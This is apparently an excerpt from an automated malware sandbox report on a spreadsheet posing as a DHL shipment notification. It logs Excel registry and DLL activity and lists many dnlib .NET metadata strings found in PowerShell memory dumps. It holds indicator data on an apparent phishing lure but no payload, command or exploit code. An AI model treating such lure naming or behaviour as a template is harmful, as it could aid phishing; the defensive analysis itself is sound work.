            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
            Source: DHL Shipment Notification 490104998009.xlsStatic file information: File size 1089024 > 1048576
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
